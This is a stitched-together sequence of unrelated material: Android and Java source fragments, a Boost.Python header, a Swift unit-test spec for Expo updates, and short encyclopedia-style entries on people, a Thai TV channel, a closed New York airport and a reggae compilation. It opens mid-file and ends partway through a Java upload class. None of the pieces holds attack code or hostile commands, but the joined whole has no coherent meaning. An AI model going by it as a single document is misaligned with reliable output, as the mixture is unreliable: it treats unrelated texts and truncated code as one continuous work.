recyclerView.setHasFixedSize(true); recyclerView.setLayoutManager(new GridLayoutManager(this, 2)); recyclerView.setAdapter(adapter); adapter.setRecyclerClickListener(new RecyclerAdapter.RecyclerClickListener() { @Override public void onClick(int position) { if (position == 0) { spaceNavigationView.showBadgeAtIndex(1, 54, ContextCompat.getColor(ActivityWithBadge.this, R.color.badge_background_color)); } else if (position == 1) { spaceNavigationView.hideBudgeAtIndex(1); } } }); } private List<String> dummyStrings() { List<String> colorList = new ArrayList<>(); colorList.add("#354045"); colorList.add("#20995E"); colorList.add("#76FF03"); colorList.add("#E26D1B"); colorList.add("#911717"); colorList.add("#9C27B0"); colorList.add("#FFC107"); colorList.add("#01579B"); return colorList; } } ```
Mary Alice Quinn (December 28, 1920 – November 8, 1935) was a girl from Chicago, Illinois, who died at the age of 14 from a chronic heart condition. She was reportedly a devout Catholic, who said prayers daily to St. Therese of Liseaux, and her gravesite at Holy Sepulchre Cemetery in Alsip, Illinois is an unofficial pilgrimage destination. She has been described as "Chicago's Miracle Child" and "Chicago's Unofficial Saint". References External links 1920 births 1935 deaths People from Chicago Catholics from Illinois
Elizabeth "Lily" Mernin (16 November 1886 – 18 February 1957) was an Irish intelligence agent known as the "Little Gentleman" or "Lt. G.". Life Elizabeth Mernin was born in Dungarvan, County Waterford on 16 November 1886. Her parents were John Mernin and Mary (née McGuire). She had one sister, May. Her father was a baker and confectioner in Waterford. After his death when Mernin was young, the children were raised by his family in Dungarvan. In the 1910s, Mernin worked as a typist in a number of Dublin companies, and by 1914 she was a shorthand typist in Dublin Castle at the garrison adjutant's office. She was a member of the Keating branch of the Gaelic League, and through this her cousin, Piaras Béaslaí, introduced her to Michael Collins in 1918. From 1919 she began working for Collins as an intelligence agent. She used her position in Dublin Castle to obtain important documents and, in 1920, intelligence on British intelligence officers and the auxiliary police. Under the alias of "Little Gentleman" or "Lt. G.", she was one of Collins' most important agents, so much so that many believed the Little Gentleman was a British intelligence officer. One of the most important contributions Mernin made was identifying the homes of British intelligence officers who were later killed on Bloody Sunday, 21 November 1920, by Collins' squad. She aided Frank Saurin and Tom Cullen in identifying senior British agents in Dublin, typing secret reports for Collins in a room in 19 Clonliffe Road. In February 1922, she was discharged from the British service, taking up a position as a typist in the Irish Army from July 1922 until February 1952, when she retired. She worked primarily at Clancy Barracks. Mernin was awarded a military pension for her service from 1918-1922, and her statement is held in the Bureau of Military History in the Military Archives. Mernin never married, although she gave birth to a son in London in June 1922, with some evidence suggesting Béaslaí was the father. She lived at 167 Mangerton Road, Drimnagh. She died on 18 February 1957 in Dublin aged 70. References 1886 births 1957 deaths People from Dungarvan People of the Irish War of Independence Women in war 1900–1945 Women in war in Ireland
The Delphic League is a high school athletic league that is part of the CIF Southern Section. Members Crossroads School Milken High School Marshall Fundamental Secondary School Vernon Kilpatrick Camp School, aka Kilpatrick High School Brentwood School (Los Angeles, California) References CIF Southern Section leagues
Robbie Taylor (born March 31, 1981) is a Canadian former swimmer who specialized in sprint freestyle and backstroke events. He earned a silver medal, as a 17-year-old at the 1998 Commonwealth Games, and later represented Canada at the 2000 Summer Olympics. During his sporting career, Taylor trained for the Cobra Swim Club in Brampton, Ontario, under Bill O'Toole, swam for the Texas A&M Aggies swimming and diving team under head coach Mel Nash, and swam at the Canadian National Sport Centre under legendary coach Paul Bergen. Taylor made his own swimming history at the 1998 Commonwealth Games in Kuala Lumpur, Malaysia. There, he shared silver medals with Craig Hutchison, Stephen Clarke and Garrett Pulle in the 4×100-metre freestyle relay with a time of 3:21.27. At the 2000 Summer Olympics in Sydney, Taylor competed only in the 4×100-metre freestyle relay. Teaming with Hutchison, Rick Say and Yannick Lupien in heat three, Taylor swam the second leg and recorded a split of 50.89, but the Canadians came up short to fifth place and thirteenth overall in a final time of 3:21.98. Taylor also sought his bid for the 2008 Summer Olympics in Beijing. At the Canadian Olympic Trials, he posted an identical time of 55.53 to share first place with Jake Tapp in the 100-metre backstroke, but missed a chance to snatch his bid from a head-to-head battle in a swimoff. See also List of Commonwealth Games medallists in swimming (men) References External links Profile – Canadian Olympic Team Athlete Profile – Canoe.ca (2000 Summer Olympics) Alumni Profile – Cobra Swim Club 1981 births Living people Canadian male freestyle swimmers Olympic swimmers for Canada Swimmers from Toronto Swimmers at the 2000 Summer Olympics Texas A&M Aggies men's swimmers Commonwealth Games medallists in swimming Commonwealth Games silver medallists for Canada Swimmers at the 1998 Commonwealth Games Medallists at the 1998 Commonwealth Games
```c++ // accompanying file LICENSE_1_0.txt or copy at // path_to_url #ifndef PYTYPE_OBJECT_MANAGER_TRAITS_DWA2002716_HPP # define PYTYPE_OBJECT_MANAGER_TRAITS_DWA2002716_HPP # include <boost/python/detail/prefix.hpp> # include <boost/python/detail/raw_pyobject.hpp> # include <boost/python/cast.hpp> # include <boost/python/converter/pyobject_type.hpp> # include <boost/python/errors.hpp> namespace boost { namespace python { namespace converter { // Provide a forward declaration as a convenience for clients, who all // need it. template <class T> struct object_manager_traits; // Derive specializations of object_manager_traits from this class // when T is an object manager for a particular Python type hierarchy. // template <PyTypeObject* pytype, class T> struct pytype_object_manager_traits : pyobject_type<T, pytype> // provides check() { BOOST_STATIC_CONSTANT(bool, is_specialized = true); static inline python::detail::new_reference adopt(PyObject*); }; // // implementations // template <PyTypeObject* pytype, class T> inline python::detail::new_reference pytype_object_manager_traits<pytype,T>::adopt(PyObject* x) { return python::detail::new_reference(python::pytype_check(pytype, x)); } }}} // namespace boost::python::converter #endif // PYTYPE_OBJECT_MANAGER_TRAITS_DWA2002716_HPP ```
PPTV (), also known as PPTV HD () and PPTV HD 36 (), an acronym for Prasert Prasarttong-Osoth Television) is a digital terrestrial television channel in Thailand, owned by Bangkok Media & Broadcasting Co., Ltd., a company managed by Prasarttong-Osoth, Bangkok Airways and Bangkok Hospital group owner, Prasert Prasarttong-Osoth. For the content, PPTV used to focus on drama series from South Korea, including the programs from East Asia as the important thing. But now adjusting the format by focusing on news, information and sports for the most part. In 2020, the channel acquired the rights to broadcast Bundesliga games in Thailand. The rights will remain until 2025. History Bangkok Media & Broadcasting Co., Ltd. was registered with a capital of 100 million baht on 27 March 2013 to operate a television channel called BMB (temporarily), later the name was changed to PPTV. as well as producing television programs for news, information and entertainment The first phase was broadcast via C-Band satellite system since 1 June, the same year, later winning the auction for digital terrestrial television spectrum in the category of national high-definition business services on Channel No. 36 under the value of 3,460 million baht on 26 December of that year and then began broadcasting through that channel since 7 April 2014. Program formats During the launch, PPTV divides the program into 25% news, 30% entertainment, 35% drama, 10% sports and others, distinguishing itself by outstanding program content. Focus on targeting Bangkok people and various districts nationwide combined with programs from abroad especially from South Korea together with programs from Thai content producers. However, PPTV has positioned the market as a "Premium Mass Station", meaning it is a station that allows viewers to easily access high-quality content. In addition, PPTV also cooperates with its hospital affiliated Bangkok Dusit Medical Services both in Bangkok and in various cities such as Hua Hin, Chiang Mai, Pattaya, etc. to promote the station as a new channel for presenting program content. In addition, PPTV also uses communication in all dimensions with 3 On formats: On-Air (on television), On-Ground (on the news area) and Online (social media). World Class TV (2018) On 16 January 2018, after PPTV executives saw that the program schedule should be adjusted to recover revenue. In the midst of the crisis of the digital television media industry at that time PPTV has announced a new programming program under the concept of "World Class TV" by negotiating copyrights with partners both in Thailand and abroad in order to bring new quality programs to broadcast which came into force on 1 February, the same year. Broadcast location During the era of satellite TV broadcasting, it used the studio and broadcast at the Kasemsup Building, Vibhavadi Rangsit Road (former office of Eastman Kodak in Thailand) opposite the office building of Bangkok Airways, Then, in March 2014, PPTV opened a temporary studio at Ocean Tower 2 Building, Soi Sukhumvit 19, used along with the studio at Kasemsup Building. During the construction of the head office building in Soi Song Sa-At to be used as a filming studio, program production and broadcasting, and when the head office building at Soi Song Sa-At is completed, there was an official opening ceremony for the head office building of PPTV. In January 2015, after that, the 2 original studios moved together at the head office building on Soi Song Sa-At which used from 1 January 2015 until now. Presenters Current Tivaporn Thetthit (Kratae) Tirayuth Tiengrachaibandit (Au) Sathida Pinsinchai (Aim) Pattaree Patsopasakul (Bogie) Karuna Buakamsri (Na) Pongsathorn Lortrakul (Arm) Bussaba Rongharnkaew (Neung) Cheunjit Charoenpongchai (Joy) Treechada Choktanasermsakul (Numnim) Chatchadaporn Sriudorn (Mamaum) Pinyada Titikulamas (Ome) Kornsuma Jiamsranoi (Korn) Veeraphol Temchotikosol (Pop) Suthitha Panyayong (Nina) Yodsapak Reungpaisarn (Pak) Arnad Sanitsurawong Ph.D Pongsathorn Jindawattana Weerasak Nilkrad (Add) Wariya Naveepanyatham (Kibtjung) Pattaranit Boonmee Nat Puttachart Lipikar Chookamol Sathien Viriyaparnpongsa Suthichai Yoon Suchada Nimnul (Baifern) Akekaporn Srisuktaweerat (Ake) Pawan Siriissaranan (Puek) Ekkarat Takiennuch (Art) Thanyarat Thamoi (Nong) Pradthana Prompithak (Prad) Former Banjong Cheewamongkolkarn (Jong) (now at Workpoint TV) Chayathip Lojanakosin (Yuu) (now at TNN16) Prai Thanaammaputch (Prai) Manat Tangsuk (Aun) (now at Channel 5) Suchada Kaewnang (now at Thai PBS) Jirayu Chudhabuddhi (Game) (now at JKN-CNBC and JKN18) Nalin Singhaputtangkul (Lin) (now at Nation TV) Nilaya Triworrawan (Nin) Charnchai Guyyasit (Koh) (now at JKN18) Siriboon Nattapan (Ying) (now a freelance host and the owner of Sarasilp Thaivision) Rawicha Tangsubut (Ritcha) (now at TNN16) Karnwayla Saoreun (Porpia) (now at Workpoint TV) Parin Jeusuwan (It) (now at NBT and TNN16) Elizabeth Sadler Leenanuchai (Liza) (now at TNN16) Prapaporn Chaowanasiri (Opal) (died on 20 September 2020) Parinda Kumthampinij (Toon) (now at Channel 3) Natchanan Peeranarong (Noon) Suphoj Klinsuwan (Tae) Pongsuk Hiranprueck (Nui) (now at Beartai) Suta Sudhepichetpun (Nui) (now at MCOT HD) Titikorn Tipmontien (Tak) (now at TNN16) Thongnuakao Khamphim (Kao) (now working as a freelance host) Pat Jungkankul (Lookbid) Supada Vijakachaiyapong (Jookjik) Masiri Klomkaew (Film) (now at Channel 9 MCOT HD) Kamonthon Komarathat (Earth) Kreangkraimas Photjanasuntorn (Kendo) Identity Logos Slogans 2013-2014: Life is Awesome 2014: ทุกช่วงเวลาดีดี เริ่มต้นที่นี่ (Every precious moment start here) (It was used for teasing the new look of the channel) 2014-2015: Turn It On / เรื่องราวดีๆ ที่มีให้คุณทุกเวลา (Good Stories That We Give for You Every Time) / Home of The Best Series & Variety Shows / เรื่องราวดีดีที่คุณต้องดู (Good Stories You Want to Watch) 2015-2018: ยิ่งดู ยิ่งติด (When You Watching, It Gets More Addicted) (used for main promotions) / ยิ่งดู ยิ่งได้ (When You Watching, It Gets the Prize) (used for activity campaigns) 2018–present: World Class TV (used for general programming) 2018–present: World Class Sports (used for sports programming) 2021–present: เรื่องข่าว เรื่องใหญ่ (The News with A Big Deal) (used for main purposes) 2022–present: ครบทุกข่าว เข้าใจคอกีฬา (Complete Every News, Perceive for Sport Fans) (used for other purposes) References External links Prasarttong-Osoth Co., Ltd. 24-hour television news channels in Thailand Television stations in Thailand Television channels and stations established in 2013
```java package com.bleplx.adapter.utils; import android.bluetooth.BluetoothGatt; import androidx.annotation.NonNull; import com.polidea.rxandroidble2.RxBleCustomOperation; import com.polidea.rxandroidble2.internal.RxBleLog; import com.polidea.rxandroidble2.internal.connection.RxBleGattCallback; import java.lang.reflect.Method; import java.util.concurrent.TimeUnit; import io.reactivex.Observable; import io.reactivex.Scheduler; public class RefreshGattCustomOperation implements RxBleCustomOperation<Boolean> { /** * @noinspection unchecked, JavaReflectionMemberAccess, DataFlowIssue */ @NonNull @Override public Observable<Boolean> asObservable( final BluetoothGatt bluetoothGatt, final RxBleGattCallback rxBleGattCallback, final Scheduler scheduler ) { return Observable.ambArray( Observable.fromCallable(() -> { boolean success = false; try { Method bluetoothGattRefreshFunction = bluetoothGatt.getClass().getMethod("refresh"); success = (Boolean) bluetoothGattRefreshFunction.invoke(bluetoothGatt); if (!success) RxBleLog.d("BluetoothGatt.refresh() returned false"); } catch (Exception e) { RxBleLog.d(e, "Could not call function BluetoothGatt.refresh()"); } RxBleLog.i("Calling BluetoothGatt.refresh() status: %s", success ? "Success" : "Failure"); return success; }) .subscribeOn(scheduler) .delay(1, TimeUnit.SECONDS, scheduler), rxBleGattCallback.observeDisconnect() ); } } ```
```swift import ExpoModulesTestCore @testable import EXUpdates import EXManifests class ReaperSelectionPolicyFilterAwareSpec : ExpoSpec { override class func spec() { var config: UpdatesConfig! var database: UpdatesDatabase! var update1: Update! var update2: Update! var update3: Update! var update4: Update! var update5: Update! var selectionPolicy: ReaperSelectionPolicy! beforeEach { let runtimeVersion = "1.0" let scopeKey = "dummyScope" config = try! UpdatesConfig.config(fromDictionary: [ UpdatesConfig.EXUpdatesConfigUpdateUrlKey: "path_to_url", UpdatesConfig.EXUpdatesConfigScopeKeyKey: "scope1", UpdatesConfig.EXUpdatesConfigRuntimeVersionKey: "1", ]) database = UpdatesDatabase() update1 = Update( manifest: ManifestFactory.manifest(forManifestJSON: [:]), config: config, database: database, updateId: UUID(), scopeKey: scopeKey, commitTime: Date(timeIntervalSince1970: 1608667851), runtimeVersion: runtimeVersion, keep: true, status: .StatusReady, isDevelopmentMode: false, assetsFromManifest: [] ) update2 = Update( manifest: ManifestFactory.manifest(forManifestJSON: [:]), config: config, database: database, updateId: UUID(), scopeKey: scopeKey, commitTime: Date(timeIntervalSince1970: 1608667852), runtimeVersion: runtimeVersion, keep: true, status: .StatusReady, isDevelopmentMode: false, assetsFromManifest: [] ) update3 = Update( manifest: ManifestFactory.manifest(forManifestJSON: [:]), config: config, database: database, updateId: UUID(), scopeKey: scopeKey, commitTime: Date(timeIntervalSince1970: 1608667853), runtimeVersion: runtimeVersion, keep: true, status: .StatusReady, isDevelopmentMode: false, assetsFromManifest: [] ) update4 = Update( manifest: ManifestFactory.manifest(forManifestJSON: [:]), config: config, database: database, updateId: UUID(), scopeKey: scopeKey, commitTime: Date(timeIntervalSince1970: 1608667854), runtimeVersion: runtimeVersion, keep: true, status: .StatusReady, isDevelopmentMode: false, assetsFromManifest: [] ) update5 = Update( manifest: ManifestFactory.manifest(forManifestJSON: [:]), config: config, database: database, updateId: UUID(), scopeKey: scopeKey, commitTime: Date(timeIntervalSince1970: 1608667855), runtimeVersion: runtimeVersion, keep: true, status: .StatusReady, isDevelopmentMode: false, assetsFromManifest: [] ) selectionPolicy = ReaperSelectionPolicyFilterAware() } describe("selection") { it("updates to delete - only one update") { expect(selectionPolicy.updatesToDelete(withLaunchedUpdate: update1, updates: [update1], filters: nil).count) == 0 } it("updates to delete - older updates") { let updatesToDelete = selectionPolicy.updatesToDelete(withLaunchedUpdate: update3, updates: [update1, update2, update3], filters: nil) expect(updatesToDelete.count) == 1 expect(updatesToDelete.contains(update1)) == true expect(updatesToDelete.contains(update2)) == false expect(updatesToDelete.contains(update3)) == false } it("updates to delete - newer updates") { let updatesToDelete = selectionPolicy.updatesToDelete(withLaunchedUpdate: update1, updates: [update1, update2], filters: nil) expect(updatesToDelete.count) == 0 } it("updates to delete - older and newer updates") { let updatesToDelete = selectionPolicy.updatesToDelete(withLaunchedUpdate: update4, updates: [update1, update2, update3, update4, update5], filters: nil) expect(updatesToDelete.count) == 2 expect(updatesToDelete.contains(update1)) == true expect(updatesToDelete.contains(update2)) == true } it("updates to delete - different scope key") { let configDifferentScope = try! UpdatesConfig.config(fromDictionary: [ UpdatesConfig.EXUpdatesConfigUpdateUrlKey: "path_to_url", UpdatesConfig.EXUpdatesConfigScopeKeyKey: "differentScopeKey", UpdatesConfig.EXUpdatesConfigRuntimeVersionKey: "1", ]) let update4DifferentScope = Update( manifest: update4.manifest, config: configDifferentScope, database: database, updateId: update4.updateId, scopeKey: "differentScopeKey", commitTime: update4.commitTime, runtimeVersion: update4.runtimeVersion, keep: true, status: update4.status, isDevelopmentMode: false, assetsFromManifest: [] ) let updatesToDelete = selectionPolicy.updatesToDelete(withLaunchedUpdate: update4DifferentScope, updates: [update1, update2, update3, update4DifferentScope], filters: nil) expect(updatesToDelete.count) == 0 } } } } ```
Syracuse Suburban Airport is a former privately owned public-use airport in Oswego County, New York, United States. It is located 13 nautical miles (24 km) north of the central business district of the city of Syracuse. The airport is off Gildner Road in the village of Central Square, which is located in the Town of Hastings. The airport redevelopment was not completed and one of the owners pleaded guilty to bank fraud in July 2014. According to the FAA's National Plan of Integrated Airport Systems for 2009–2013, the facility is categorized as a reliever airport for the Syracuse Hancock International Airport. History The airfield dates back to around 1960, and it was in operation until the mid-1980s. Its original name was Central Square Airport. In the 1970s the town board changed the zoning to residential but the airport was exempted as long as it remained open. Syracuse Suburban Airport LLC purchased the 93 acre airport site for $350,000 on July 2, 2004. That same year it was awarded a $300,000 grant from New York State to rehabilitate its runway and conduct a master plan study that would be required to complete additional projects. In 2005 the company spent $414,000 to purchase three additional properties totaling . In January 2008, the Hastings Town Board denied a zoning change that would have allowed Syracuse Suburban Airport to reopen. The town contends the grandfathered use as an airport expired because the previous owner sold the property in 2004 and it hasn't been used as an airport since that time. However, the current owners have a pending lawsuit against the Hastings Zoning Board of Appeals, which will be heard in the New York State Supreme Court. One of the airport's owners also owned Michael Airfield in nearby Cicero, New York, which has been closed. That airport's federally funded status was transferred to Syracuse Suburban Airport, where a new runway was under construction in 2009. The new runway was completed in 2010. Facilities Syracuse Suburban Airport covers an area of at an elevation of 400 feet (122 m) above mean sea level. It has one runway designated 16/34 which measures 2,500 by 60 feet (762 x 18 m). Previous FAA records listed a runway 15/33 with a 2,660 by 43 foot (811 x 13 m) asphalt surface. Although still listed as operational by the FAA, aerial photographs showed the runway marked with X's which indicated that it was closed. References External links Defunct airports in New York (state) Airports in New York (state) Transportation in Syracuse, New York
```java /* * * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * * path_to_url * * Unless required by applicable law or agreed to in writing, software * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package com.dianping.zebra.group.config.datasource.entity; import com.dianping.zebra.exception.ZebraException; import com.dianping.zebra.util.StringUtils; import javax.xml.bind.annotation.XmlAccessType; import javax.xml.bind.annotation.XmlAccessorType; import javax.xml.bind.annotation.XmlRootElement; @XmlRootElement(name = "singleConfig") @XmlAccessorType(XmlAccessType.FIELD) public class SingleConfig { private String name; private int writeWeight = -1; private int readWeight = -1; public SingleConfig() { } public SingleConfig(String name, int writeWeight, int readWeight) { this.name = name; this.writeWeight = writeWeight; this.readWeight = readWeight; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getWriteWeight() { return writeWeight; } public void setWriteWeight(int writeWeight) { this.writeWeight = writeWeight; } public int getReadWeight() { return readWeight; } public void setReadWeight(int readWeight) { this.readWeight = readWeight; } public void checkConfig() { if(StringUtils.isBlank(this.name)) { throw new ZebraException("incomplete singleDataSourceConfig name:" + this.name); } } } ```
Greatest Hits is a compilation of music by Daddy Freddy. It has been released multiple times with a different cover, but same track listing. Track listing "Pain Killa" "Love Sick" "Ragamuffin Hip Hop" "Ragga House" "Keep Talkin'" "Respect" "Go, Freddy, Go!" "Daddy Freddy's In Town" "London's Finest" "The Girl Is Fine" "Respect Due" "Haul & Pull" "The Crown" "Spanish Lingua" "The Crown" References Daddy Freddy albums
```java /* __ __ _ _ _ | \/ | ___ __ _ __ _| |__ __ _ ___| |_ ___ _ __ __| | | |\/| |/ _ \/ _` |/ _` | '_ \ / _` / __| __/ _ \ '__/ _` | | | | | __/ (_| | (_| | |_) | (_| \__ \ || __/ | | (_| | |_| |_|\___|\__, |\__,_|_.__/ \__,_|___/\__\___|_| \__,_| |___/ Perpetrated by tonikelope since 2016 */ package com.tonikelope.megabasterd; import static com.tonikelope.megabasterd.MainPanel.*; import static com.tonikelope.megabasterd.MiscTools.*; import static com.tonikelope.megabasterd.Transference.PROGRESS_WATCHDOG_TIMEOUT; import java.io.File; import java.io.FileWriter; import java.io.IOException; import static java.lang.Integer.MAX_VALUE; import java.nio.file.Files; import java.nio.file.Paths; import java.sql.SQLException; import java.util.ArrayList; import java.util.Arrays; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.concurrent.ConcurrentLinkedQueue; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.TimeUnit; import java.util.logging.Level; import java.util.logging.Logger; import javax.swing.JComponent; /** * * @author tonikelope */ public class Upload implements Transference, Runnable, SecureSingleThreadNotifiable { public static final int WORKERS_DEFAULT = 6; public static final boolean DEFAULT_THUMBNAILS = true; public static final boolean UPLOAD_LOG = true; public static final boolean UPLOAD_PUBLIC_FOLDER = false; private static final Logger LOG = Logger.getLogger(Upload.class.getName()); private final MainPanel _main_panel; private volatile UploadView _view; private volatile ProgressMeter _progress_meter; private final Object _progress_lock; private volatile String _status_error; private volatile String _thumbnail_file = ""; private volatile boolean _exit; private volatile boolean _frozen; private int _slots; private final Object _secure_notify_lock; private final Object _workers_lock; private final Object _chunkid_lock; private byte[] _byte_file_key; private volatile long _progress; private byte[] _byte_file_iv; private final ConcurrentLinkedQueue<Long> _rejectedChunkIds; private long _last_chunk_id_dispatched; private final ConcurrentLinkedQueue<Long> _partialProgressQueue; private final ExecutorService _thread_pool; private volatile int[] _file_meta_mac; private String _fid; private volatile boolean _notified; private volatile String _completion_handler; private int _paused_workers; private Double _progress_bar_rate; private volatile boolean _pause; private final ArrayList<ChunkUploader> _chunkworkers; private long _file_size; private UploadMACGenerator _mac_generator; private boolean _create_dir; private boolean _provision_ok; private boolean _auto_retry_on_error; private String _file_link; private final MegaAPI _ma; private final String _file_name; private final String _parent_node; private int[] _ul_key; private String _ul_url; private final String _root_node; private final byte[] _share_key; private final String _folder_link; private boolean _restart; private volatile boolean _closed; private volatile boolean _canceled; private volatile String _temp_mac_data; private final boolean _priority; private final Object _progress_watchdog_lock; private volatile boolean _finalizing; public Upload(MainPanel main_panel, MegaAPI ma, String filename, String parent_node, int[] ul_key, String ul_url, String root_node, byte[] share_key, String folder_link, boolean priority) { _notified = false; _priority = priority; _progress_watchdog_lock = new Object(); _frozen = main_panel.isInit_paused(); _provision_ok = false; _status_error = null; _auto_retry_on_error = true; _canceled = false; _closed = false; _finalizing = false; _main_panel = main_panel; _ma = ma; _file_name = filename; _parent_node = parent_node; _ul_key = ul_key; _ul_url = ul_url; _root_node = root_node; _share_key = share_key; _folder_link = folder_link; _restart = false; _progress = 0L; _last_chunk_id_dispatched = 0L; _completion_handler = null; _secure_notify_lock = new Object(); _workers_lock = new Object(); _chunkid_lock = new Object(); _chunkworkers = new ArrayList<>(); _progress_lock = new Object(); _partialProgressQueue = new ConcurrentLinkedQueue<>(); _rejectedChunkIds = new ConcurrentLinkedQueue<>(); _thread_pool = Executors.newCachedThreadPool(); _view = new UploadView(this); _progress_meter = new ProgressMeter(this); _file_meta_mac = null; _temp_mac_data = null; } public Upload(Upload upload) { _notified = false; _priority = upload.isPriority(); _progress_watchdog_lock = new Object(); _provision_ok = false; _status_error = null; _auto_retry_on_error = true; _canceled = upload.isCanceled(); _finalizing = false; _closed = false; _restart = true; _main_panel = upload.getMain_panel(); _ma = upload.getMa(); _file_name = upload.getFile_name(); _parent_node = upload.getParent_node(); _progress_lock = new Object(); _ul_key = upload.getUl_key(); _ul_url = upload.getUl_url(); _root_node = upload.getRoot_node(); _share_key = upload.getShare_key(); _folder_link = upload.getFolder_link(); _progress = 0L; _last_chunk_id_dispatched = 0L; _completion_handler = null; _secure_notify_lock = new Object(); _workers_lock = new Object(); _chunkid_lock = new Object(); _chunkworkers = new ArrayList<>(); _partialProgressQueue = new ConcurrentLinkedQueue<>(); _rejectedChunkIds = new ConcurrentLinkedQueue<>(); _thread_pool = Executors.newCachedThreadPool(); _view = new UploadView(this); _progress_meter = new ProgressMeter(this); _file_meta_mac = null; _temp_mac_data = upload.getTemp_mac_data(); } public boolean isPriority() { return _priority; } public boolean isCanceled() { return _canceled; } public String getTemp_mac_data() { return _temp_mac_data; } public void setTemp_mac_data(String temp_mac_data) { _temp_mac_data = temp_mac_data; } public Object getWorkers_lock() { return _workers_lock; } public boolean isExit() { return _exit; } public int getSlots() { return _slots; } public Object getSecure_notify_lock() { return _secure_notify_lock; } public byte[] getByte_file_key() { return _byte_file_key; } @Override public long getProgress() { return _progress; } public byte[] getByte_file_iv() { return _byte_file_iv; } public ConcurrentLinkedQueue<Long> getRejectedChunkIds() { return _rejectedChunkIds; } public long getLast_chunk_id_dispatched() { return _last_chunk_id_dispatched; } public ExecutorService getThread_pool() { return _thread_pool; } public String getFid() { return _fid; } public boolean isNotified() { return _notified; } public String getCompletion_handler() { return _completion_handler; } public int getPaused_workers() { return _paused_workers; } public Double getProgress_bar_rate() { return _progress_bar_rate; } public boolean isPause() { return _pause; } public ArrayList<ChunkUploader> getChunkworkers() { synchronized (_workers_lock) { return _chunkworkers; } } @Override public long getFile_size() { return _file_size; } public UploadMACGenerator getMac_generator() { return _mac_generator; } public boolean isCreate_dir() { return _create_dir; } public boolean isProvision_ok() { return _provision_ok; } public String getFile_link() { return _file_link; } public MegaAPI getMa() { return _ma; } @Override public String getFile_name() { return _file_name; } public String getParent_node() { return _parent_node; } public int[] getUl_key() { return _ul_key; } public String getUl_url() { return _ul_url; } public String getRoot_node() { return _root_node; } public byte[] getShare_key() { return _share_key; } public String getFolder_link() { return _folder_link; } @Override public boolean isRestart() { return _restart; } public void setCompletion_handler(String completion_handler) { _completion_handler = completion_handler; } public void setFile_meta_mac(int[] file_meta_mac) { _file_meta_mac = file_meta_mac; } public void setPaused_workers(int paused_workers) { _paused_workers = paused_workers; } @Override public ProgressMeter getProgress_meter() { while (_progress_meter == null) { try { Thread.sleep(250); } catch (InterruptedException ex) { LOG.log(Level.SEVERE, ex.getMessage()); } } return _progress_meter; } @Override public UploadView getView() { while (_view == null) { try { Thread.sleep(250); } catch (InterruptedException ex) { LOG.log(Level.SEVERE, ex.getMessage()); } } return this._view; } @Override public void secureNotify() { synchronized (_secure_notify_lock) { _notified = true; _secure_notify_lock.notify(); } } @Override public void secureWait() { synchronized (_secure_notify_lock) { while (!_notified) { try { _secure_notify_lock.wait(1000); } catch (InterruptedException ex) { _exit = true; LOG.log(Level.SEVERE, ex.getMessage()); } } _notified = false; } } public void provisionIt() { getView().printStatusNormal("Provisioning upload, please wait..."); File the_file = new File(_file_name); _provision_ok = false; if (!the_file.exists()) { _status_error = "ERROR: FILE NOT FOUND"; } else { try { _file_size = the_file.length(); _progress_bar_rate = Integer.MAX_VALUE / (double) _file_size; HashMap upload_progress = DBTools.selectUploadProgress(getFile_name(), getMa().getFull_email()); if (upload_progress == null) { if (_ul_key == null) { _ul_key = _ma.genUploadKey(); DBTools.insertUpload(_file_name, _ma.getFull_email(), _parent_node, Bin2BASE64(i32a2bin(_ul_key)), _root_node, Bin2BASE64(_share_key), _folder_link); } _provision_ok = true; } else { _last_chunk_id_dispatched = calculateLastUploadedChunk((long) upload_progress.get("bytes_uploaded")); setProgress((long) upload_progress.get("bytes_uploaded")); _provision_ok = true; LOG.log(Level.INFO, "LAST CHUNK ID UPLOADED -> {0}", _last_chunk_id_dispatched); } } catch (SQLException ex) { LOG.log(Level.SEVERE, ex.getMessage()); } } if (!_provision_ok) { if (_status_error == null) { _status_error = "PROVISION FAILED"; } if (_file_name != null) { MiscTools.GUIRun(() -> { getView().getFile_name_label().setVisible(true); getView().getFile_name_label().setText(truncateText(new File(_file_name).getName(), 150)); getView().getFile_name_label().setToolTipText(_file_name); getView().getFile_size_label().setVisible(true); getView().getFile_size_label().setText(formatBytes(_file_size)); }); } getView().hideAllExceptStatus(); getView().printStatusError(_status_error); MiscTools.GUIRun(() -> { getView().getRestart_button().setVisible(true); }); } else { getView().printStatusNormal(LabelTranslatorSingleton.getInstance().translate(_frozen ? "(FROZEN) Waiting to start (" : "Waiting to start (") + _ma.getFull_email() + ") ..."); MiscTools.GUIRun(() -> { getView().getFile_name_label().setVisible(true); getView().getFile_name_label().setText(truncateText(new File(_file_name).getName(), 150)); getView().getFile_name_label().setToolTipText(_file_name); getView().getFile_size_label().setVisible(true); getView().getFile_size_label().setText(formatBytes(_file_size)); }); } MiscTools.GUIRun(() -> { getView().getClose_button().setVisible(true); getView().getQueue_down_button().setVisible(true); getView().getQueue_up_button().setVisible(true); getView().getQueue_top_button().setVisible(true); getView().getQueue_bottom_button().setVisible(true); }); } @Override public void start() { THREAD_POOL.execute(this); } @Override public void stop() { if (!isExit()) { _canceled = true; stopUploader(); } } @Override public void pause() { if (isPaused()) { setPause(false); setPaused_workers(0); synchronized (_workers_lock) { getChunkworkers().forEach((uploader) -> { uploader.secureNotify(); }); } getView().resume(); _main_panel.getUpload_manager().setPaused_all(false); } else { setPause(true); getView().pause(); } getMain_panel().getUpload_manager().secureNotify(); } @Override public void restart() { Upload new_upload = new Upload(this); getMain_panel().getUpload_manager().getTransference_remove_queue().add(this); getMain_panel().getUpload_manager().getTransference_provision_queue().add(new_upload); getMain_panel().getUpload_manager().secureNotify(); } @Override public void close() { _closed = true; if (_provision_ok) { try { DBTools.deleteUpload(_file_name, _ma.getFull_email()); } catch (SQLException ex) { LOG.log(Level.SEVERE, ex.getMessage()); } } _main_panel.getUpload_manager().getTransference_remove_queue().add(this); _main_panel.getUpload_manager().secureNotify(); } @Override public boolean isPaused() { return isPause(); } @Override public boolean isStopped() { return isExit(); } @Override public void checkSlotsAndWorkers() { if (!isExit() && !this._finalizing) { synchronized (_workers_lock) { int sl = getView().getSlots(); int cworkers = getChunkworkers().size(); if (sl != cworkers) { if (sl > cworkers) { startSlot(); } else { stopLastStartedSlot(); } } } } } @Override public ConcurrentLinkedQueue<Long> getPartialProgress() { return _partialProgressQueue; 